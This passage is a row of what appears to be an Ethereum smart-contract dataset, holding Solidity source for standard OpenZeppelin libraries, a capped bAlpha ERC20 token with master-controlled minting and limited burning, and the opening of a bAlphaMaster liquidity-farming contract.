address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf20084BA368567fa3dA1Da85b43Ac1AC310880C8
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/bAlphaToken.sol pragma solidity 0.6.12; contract bAlphaToken is ERC20("bAlpha", "bALPHA"), Ownable { uint256 public cap = 18000e18 + 1e17; address public bAlphaMaster; mapping(address => uint) public redeemed; constructor(address _sendTo) public { _mint(_sendTo, 1e17); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { require(totalSupply().add(amount) <= cap, "ERC20Capped: cap exceeded"); } } function setMaster(address _bAlphaMaster) public onlyOwner { bAlphaMaster = _bAlphaMaster; } function mint(address _to, uint256 _amount) public { require(msg.sender == bAlphaMaster, "bAlphaToken: only master farmer can mint"); _mint(_to, _amount); } function safeBurn(uint256 _amount) public { uint canBurn = canBurnAmount(msg.sender); uint burnAmount = canBurn > _amount ? _amount : canBurn; redeemed[msg.sender] += burnAmount; _burn(msg.sender, burnAmount); } function burn(uint256 _amount) public { require(redeemed[msg.sender] + _amount <= 1e18, "bAlpphaToken: cannot burn more than 1 bAlpha"); redeemed[msg.sender] += _amount; _burn(msg.sender, _amount); } function canBurnAmount(address _add) public view returns (uint) { return 1e18 - redeemed[_add]; } } // File: contracts/bAlphaMaster.sol pragma solidity 0.6.12; contract bAlphaMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } // Info of each pool. struct PoolInfo { IERC20 lpToken; uint256 